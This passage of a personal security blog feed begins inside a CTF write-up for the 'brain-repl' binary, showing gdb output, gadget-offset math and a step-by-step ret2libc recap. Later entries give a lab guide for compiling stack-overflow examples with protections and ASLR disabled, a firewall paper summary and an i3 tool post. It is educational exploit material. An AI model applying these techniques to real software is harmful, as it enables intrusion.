&lt;p&gt;Now, to determine the absolute address of the pop4ret gadget, we need to figure out the relative offset of the pop4ret and some absolute code address. Our gadget is in the code segment corresponding to &lt;code&gt;brain-repl&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;vmmap
&lt;span style=&quot;font-weight:bold;&quot; class=&quot;BLU&quot;&gt;Start      End        Perm	Name&lt;&#x2F;span&gt;
&lt;b&gt;0x56555000 0x56556000 r-xp	&#x2F;brain-repl-ctf-problem&#x2F;brain-repl&lt;&#x2F;b&gt;
0x56556000 0x56557000 r--p	&#x2F;brain-repl-ctf-problem&#x2F;brain-repl
0x56557000 0x56558000 rw-p	&#x2F;brain-repl-ctf-problem&#x2F;brain-repl
0xf7dfa000 0xf7dfb000 rw-p	mapped
0xf7dfb000 0xf7fa3000 r-xp	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc-2.19.so
0xf7fa3000 0xf7fa5000 r--p	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc-2.19.so
0xf7fa5000 0xf7fa6000 rw-p	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc-2.19.so
0xf7fa6000 0xf7fa9000 rw-p	mapped
0xf7fd9000 0xf7fdb000 rw-p	mapped
0xf7fdb000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	&#x2F;lib&#x2F;i386-linux-gnu&#x2F;ld-2.19.so
0xfffdd000 0xffffe000 rw-p	[stack]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We need an absolute address in the same code segment, so our leaked GOT entries will not work. Instead, we can read the return address from &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt;&#x27;s stack frame, which will correspond to an address inside main.&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;bt
#0  0x56555914 in run_interpreter ()
#1  &lt;b&gt;0x565555f4&lt;&#x2F;b&gt; in main ()
#2  0xf7e14a83 in __libc_start_main () from &#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc.so.6
#3  0x56555632 in _start ()

&lt;span class=&quot;RED&quot;&gt;gdb-peda$ &lt;&#x2F;span&gt;p&#x2F;d 0x565558a4 - 0x565555f4
$6 = &lt;b&gt;688&lt;&#x2F;b&gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We know that the pop4ret gadget is at &lt;code&gt;return_address + 688&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;finally-launch-our-exploit&quot;&gt;Finally launch our exploit&lt;a class=&quot;zola-anchor&quot; href=&quot;#finally-launch-our-exploit&quot; aria-label=&quot;Anchor link for: finally-launch-our-exploit&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;To finally launch our exploit, we need to cause &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt; to return. We can accomplish this causing &lt;code&gt;handle_newline&lt;&#x2F;code&gt; or &lt;code&gt;handle_cmd&lt;&#x2F;code&gt; to fail.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;run_interpreter&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;handle_newline&lt;&#x2F;span&gt;&lt;span&gt;() &amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;handle_cmd&lt;&#x2F;span&gt;&lt;span&gt;() != &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p_str&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;bye!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;handle_cmd&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;switch &lt;&#x2F;span&gt;&lt;span&gt;(*cmd) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p_str&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Invalid command!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;writing-the-exploit-script&quot;&gt;Writing the exploit script&lt;a class=&quot;zola-anchor&quot; href=&quot;#writing-the-exploit-script&quot; aria-label=&quot;Anchor link for: writing-the-exploit-script&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I like to use the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Gallopsled&#x2F;pwntools&quot;&gt;pwntools library&lt;&#x2F;a&gt; when writing exploit scripts, especially the &lt;a href=&quot;https:&#x2F;&#x2F;docs.pwntools.com&#x2F;en&#x2F;latest&#x2F;tubes.html&quot;&gt;tubes module&lt;&#x2F;a&gt; (to communicate via sockets) and the &lt;a href=&quot;https:&#x2F;&#x2F;docs.pwntools.com&#x2F;en&#x2F;latest&#x2F;elf&#x2F;elf.html&quot;&gt;ELF module&lt;&#x2F;a&gt; (to easily read symbol&#x2F;GOT information from ELF binaries).&lt;&#x2F;p&gt;
&lt;p&gt;You can view &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;brain-repl-ctf-problem&#x2F;blob&#x2F;master&#x2F;solve_brain_repl.py&quot;&gt;solve_brain_repl.py&lt;&#x2F;a&gt; on GitHub.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;recap&quot;&gt;Recap&lt;a class=&quot;zola-anchor&quot; href=&quot;#recap&quot; aria-label=&quot;Anchor link for: recap&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;We can increment&#x2F;decrement &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; and read&#x2F;write a word where &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; points. Because there is no bounds checking, we can read&#x2F;write the GOT entries and global variables.&lt;&#x2F;li&gt;
&lt;li&gt;Leak GOT entries for &lt;code&gt;open()&lt;&#x2F;code&gt;, &lt;code&gt;read()&lt;&#x2F;code&gt;, and &lt;code&gt;write()&lt;&#x2F;code&gt; and the global variables &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; and &lt;code&gt;cmd&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Compute the address of  &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt;&#x27;s return address using the leaked &lt;code&gt;cmd&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Write &lt;code&gt;&quot;flag.txt\x00&quot;&lt;&#x2F;code&gt; to &lt;code&gt;tape&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Overwrite &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; with the computed address of the return address to cause &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; to &quot;jump&quot; to the stack.&lt;&#x2F;li&gt;
&lt;li&gt;Leak the original value of the return address.&lt;&#x2F;li&gt;
&lt;li&gt;Compute the absolute address of the pop4ret gadget using the leaked return address.&lt;&#x2F;li&gt;
&lt;li&gt;Write out the return to libc function chaining payload of &lt;code&gt;open()&lt;&#x2F;code&gt;, &lt;code&gt;read()&lt;&#x2F;code&gt;, and &lt;code&gt;write()&lt;&#x2F;code&gt; using the pop4ret gadget.&lt;&#x2F;li&gt;
&lt;li&gt;Send an unexpected command to cause &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt; to return, launching our payload.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The method I described is certainly not the only way to solve this problem. If you have any questions or comments, please &lt;a href=&quot;&#x2F;contact&quot;&gt;contact&lt;&#x2F;a&gt; me.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;a class=&quot;zola-anchor&quot; href=&quot;#references&quot; aria-label=&quot;Anchor link for: references&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http:&#x2F;&#x2F;phrack.org&#x2F;issues&#x2F;58&#x2F;4.html&quot;&gt;The advanced return-into-lib(c) exploits: PaX case study&lt;&#x2F;a&gt;, by Nergal (Phrack 58)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;http:&#x2F;&#x2F;phrack.org&#x2F;issues&#x2F;56&#x2F;7.html&quot;&gt;Shared library call redirection via ELF infection&lt;&#x2F;a&gt;, by Silvio Cesare (Phrack 56)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;cseweb.ucsd.edu&#x2F;~hovav&#x2F;talks&#x2F;blackhat08.html&quot;&gt;Return-Oriented Programming: Exploits Without Code Injection&lt;&#x2F;a&gt;, by Hovav Shacham, et al.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;docs.pwntools.com&#x2F;en&#x2F;latest&#x2F;&quot;&gt;Pwntools documentation&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Smashing the Stack For Fun and Profit (Today)</title>
        <published>2016-04-18T00:00:00+00:00</published>
        <updated>2016-04-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://travisf.net/blog/smashing-the-stack-today/"/>
        <id>https://travisf.net/blog/smashing-the-stack-today/</id>
        
        <content type="html" xml:base="https://travisf.net/blog/smashing-the-stack-today/">&lt;p&gt;The article &lt;a href=&quot;http:&#x2F;&#x2F;phrack.org&#x2F;issues&#x2F;49&#x2F;14.html&quot;&gt;Smashing the Stack for Fun and Profit&lt;&#x2F;a&gt; by Aleph One is the seminal work in bringing the method of stack-based buffer overflows to the masses. However, a problem with &lt;em&gt;Smashing the Stack&lt;&#x2F;em&gt; is that it was published in 1996—modern defenses (which are enabled by default) frustrate would be hackers who try to follow the tutorial, only to find that the examples do not work.&lt;&#x2F;p&gt;
&lt;p&gt;As the 20&lt;sup&gt;th&lt;&#x2F;sup&gt; anniversary of &lt;em&gt;Smashing the Stack&lt;&#x2F;em&gt; approaches, this blog post tries to show how the sample code must be compiled so that the resulting executables are 32-bit and vulnerable as described.&lt;&#x2F;p&gt;
&lt;p&gt;This guide assumes you are running &lt;em&gt;Ubuntu 14.04&lt;&#x2F;em&gt; or later. The directions would be similar if you are running a &lt;a href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;Derivatives&quot;&gt;Debian or Ubuntu derivative&lt;&#x2F;a&gt;. If you are not running a Linux-based system already, you can install an Ubuntu 14.04 in a virtual machine with &lt;a href=&quot;https:&#x2F;&#x2F;www.virtualbox.org&#x2F;wiki&#x2F;Downloads&quot;&gt;Virtualbox&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;install-necessary-packages&quot;&gt;Install necessary packages&lt;a class=&quot;zola-anchor&quot; href=&quot;#install-necessary-packages&quot; aria-label=&quot;Anchor link for: install-necessary-packages&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;If you are running 64-bit (amd64) Ubuntu 14.04 or later, then you need add the necessary 32-bit libraries:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;sudo dpkg --add-architecture i386
&lt;&#x2F;span&gt;&lt;span&gt;sudo apt-get update
&lt;&#x2F;span&gt;&lt;span&gt;sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 \
&lt;&#x2F;span&gt;&lt;span&gt;    g++-multilib build-essential gdb
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If you are running 32-bit (x86) Ubuntu 14.04 or later:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;sudo apt-get update
&lt;&#x2F;span&gt;&lt;span&gt;sudo apt-get install build-essential gdb
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;compiling-the-example-code&quot;&gt;Compiling the example code&lt;a class=&quot;zola-anchor&quot; href=&quot;#compiling-the-example-code&quot; aria-label=&quot;Anchor link for: compiling-the-example-code&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In order to compile the example, code you need to disable the security features that have been enabled since &lt;em&gt;Smashing the Stack&lt;&#x2F;em&gt; has been written. Here&#x27;s an example of how to compile example1.c:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;gcc -m32 -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 \
&lt;&#x2F;span&gt;&lt;span&gt;    -o example1 example1.c
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is what the different compile switches do:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-m32&lt;&#x2F;code&gt;: compile for 32-bit&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-fno-stack-protector&lt;&#x2F;code&gt;: disable &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Buffer_overflow_protection#Canaries&quot;&gt;stack canaries&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-z execstack&lt;&#x2F;code&gt;: ensure the stack is executable (disable &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;NX_bit&quot;&gt;NX bit protection&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-D_FORTIFY_SOURCE=0&lt;&#x2F;code&gt;: disable &lt;a href=&quot;https:&#x2F;&#x2F;securityblog.redhat.com&#x2F;2014&#x2F;03&#x2F;26&#x2F;fortify-and-you&#x2F;&quot;&gt;FORTIFY_SOURCE&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;running-programs&quot;&gt;Running programs&lt;a class=&quot;zola-anchor&quot; href=&quot;#running-programs&quot; aria-label=&quot;Anchor link for: running-programs&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Before running programs you need to disable &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Address_space_layout_randomization&quot;&gt;ASLR&lt;&#x2F;a&gt; for your system so that addresses are predictable.&lt;&#x2F;p&gt;
&lt;p&gt;To disable ASLR:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;sudo sysctl -w kernel.randomize_va_space=0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To re-enable ASLR:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;sudo sysctl -w kernel.randomize_va_space=2
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;reading-smashing-the-stack&quot;&gt;Reading Smashing the Stack&lt;a class=&quot;zola-anchor&quot; href=&quot;#reading-smashing-the-stack&quot; aria-label=&quot;Anchor link for: reading-smashing-the-stack&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;You are now ready to read &lt;em&gt;Smashing the Stack&lt;&#x2F;em&gt;. Because of some minor mistakes in the original article, I recommend you read a revised version in the links below.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;links&quot;&gt;Links&lt;a class=&quot;zola-anchor&quot; href=&quot;#links&quot; aria-label=&quot;Anchor link for: links&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;avicoder.me&#x2F;2016&#x2F;02&#x2F;01&#x2F;smashsatck-revived&#x2F;&quot;&gt;Smashing the Stack for Fun &amp;amp; Profit : Revived&lt;&#x2F;a&gt;, formatted&#x2F;revised by &lt;a href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;avicoder&quot;&gt;avicoder&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.eecs.umich.edu&#x2F;courses&#x2F;eecs588&#x2F;static&#x2F;stack_smashing.pdf&quot;&gt;Smashing The Stack For Fun And Profit (Revised PDF version)&lt;&#x2F;a&gt;, based on HTML version by Prabhaker Mateti&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;http:&#x2F;&#x2F;phrack.org&#x2F;issues&#x2F;49&#x2F;14.html&quot;&gt;Smashing The Stack For Fun And Profit&lt;&#x2F;a&gt; (Original Phrack article)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Umbra Firewall</title>
        <published>2015-08-25T00:00:00+00:00</published>
        <updated>2015-08-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://travisf.net/blog/umbra-firewall/"/>
        <id>https://travisf.net/blog/umbra-firewall/</id>
        
        <content type="html" xml:base="https://travisf.net/blog/umbra-firewall/">&lt;p&gt;We designed and implemented &lt;em&gt;Umbra&lt;&#x2F;em&gt; (available on &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;umbra-firewall&#x2F;umbra&quot;&gt;GitHub&lt;&#x2F;a&gt;), an application-layer firewall that targets embedded web interfaces.
Umbra is designed to be simple for manufacturers to configure and add to existing embedded systems.
Umbra works by acting as a &lt;em&gt;friendly man-in-the-middle&lt;&#x2F;em&gt; that enforces a set security policy.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;images&#x2F;shim-diagram.png&quot; alt=&quot;Umbra diagram&quot; class=&quot;img-responsive&quot; width=&quot;100%&quot;&#x2F;&gt;
&lt;p&gt;Umbra can protect against attacks such as cross-site request forgery (CSRF), information leaks, and authentication bypass vulnerabilities; we found that Umbra would have prevented half of the vulnerabilities that we investigated in the &lt;a href=&quot;https:&#x2F;&#x2F;cve.mitre.org&#x2F;&quot;&gt;CVE database&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;More details are available in our &lt;a href=&quot;&#x2F;papers&#x2F;umbra-paper.pdf&quot;&gt;peer-reviewed paper&lt;&#x2F;a&gt;, which appeared at &lt;a href=&quot;http:&#x2F;&#x2F;www.ds.unipi.gr&#x2F;wos-cps&#x2F;&quot;&gt;1st Workshop on the Security of Cyber-Physical Systems (WOS-CPS 2015)&lt;&#x2F;a&gt;, which was co-located with &lt;a href=&quot;http:&#x2F;&#x2F;esorics2015.sba-research.org&#x2F;&quot;&gt;ESORICS&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Our prototype of Umbra is available as free and open source software on &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;umbra-firewall&#x2F;umbra&quot;&gt;GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;links&quot;&gt;Links&lt;a class=&quot;zola-anchor&quot; href=&quot;#links&quot; aria-label=&quot;Anchor link for: links&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;&#x2F;papers&#x2F;umbra-paper.pdf&quot;&gt;Peer-reviewed paper&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;&#x2F;papers&#x2F;umbra-slides.pdf&quot;&gt;Slides [PDF]&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;umbra-firewall&#x2F;umbra&quot;&gt;Code on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;bibtex&quot;&gt;BibTeX:&lt;a class=&quot;zola-anchor&quot; href=&quot;#bibtex&quot; aria-label=&quot;Anchor link for: bibtex&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;@InProceedings{finkenauer:umbra,
&lt;&#x2F;span&gt;&lt;span&gt;  title = {Umbra: Embedded Web Security through Application-Layer Firewalls},
&lt;&#x2F;span&gt;&lt;span&gt;  author = {Travis Finkenauer and J. Alex Halderman},
&lt;&#x2F;span&gt;&lt;span&gt;  booktitle = {Proc. of the 1st Workshop on the Security of Cyber-Physical Systems},
&lt;&#x2F;span&gt;&lt;span&gt;  month = sep,
&lt;&#x2F;span&gt;&lt;span&gt;  year = 2015,
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Improved i3 Workspace Switcher</title>
        <published>2015-03-18T00:00:00+00:00</published>
        <updated>2015-03-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://travisf.net/blog/i3-wk-switcher/"/>
        <id>https://travisf.net/blog/i3-wk-switcher/</id>
        
        <content type="html" xml:base="https://travisf.net/blog/i3-wk-switcher/">&lt;p&gt;I recently switched to the &lt;a href=&quot;https:&#x2F;&#x2F;i3wm.org&#x2F;&quot;&gt;i3 window manager&lt;&#x2F;a&gt;.
This was not my first time using a tiling window manager---I have previously used &lt;a href=&quot;http:&#x2F;&#x2F;xmonad.org&#x2F;&quot;&gt;xmonad&lt;&#x2F;a&gt;.
My gripe with xmonad was that &lt;em&gt;even though I am familiar with functional programming&lt;&#x2F;em&gt; (specifically OCaml), I did not understand the Haskell configuration script at all, and it seems like &lt;a href=&quot;https:&#x2F;&#x2F;www.draconianoverlord.com&#x2F;2014&#x2F;05&#x2F;26&#x2F;from-xmonad-to-i3-on-ubuntu-14.04.html&#x2F;&quot;&gt;I&#x27;m not the only one&lt;&#x2F;a&gt;.
For me, i3 wins over xmonad in terms of configuration simplicity.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xmonad-workspace-switching&quot;&gt;xmonad workspace switching&lt;a class=&quot;zola-anchor&quot; href=&quot;#xmonad-workspace-switching&quot; aria-label=&quot;Anchor link for: xmonad-workspace-switching&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;However, I do like the way xmonad handles workspaces on multiple displays.
Each display acts like a viewport into a workspace.
When switching to a workspace, the output that has focus will switch to the requested workspace.
If the requested workspace was already showing on another output, then the other output and focused output will swap their workspaces.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;xmonad_workspaces.png&quot; alt=&quot;xmonad workspaces&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;i3-workspace-switching&quot;&gt;i3 workspace switching&lt;a class=&quot;zola-anchor&quot; href=&quot;#i3-workspace-switching&quot; aria-label=&quot;Anchor link for: i3-workspace-switching&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;i3&#x27;s workspace switching contrasts with xmonad&#x27;s approach.
With i3, each workspace is assigned to an output.
When switching to a workspace, the corresponding output displays the requested workspace, displacing the workspace that was previously showing on that output.
This makes it more tedious to move a workspace to a specific output.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;the-solution&quot;&gt;The Solution&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-solution&quot; aria-label=&quot;Anchor link for: the-solution&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;In order to solve this problem, I wrote a script for i3 that emulates xmonad&#x27;s workspace switching.
You can grab the script from &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;i3-wk-switch&quot;&gt;Github&lt;&#x2F;a&gt;.
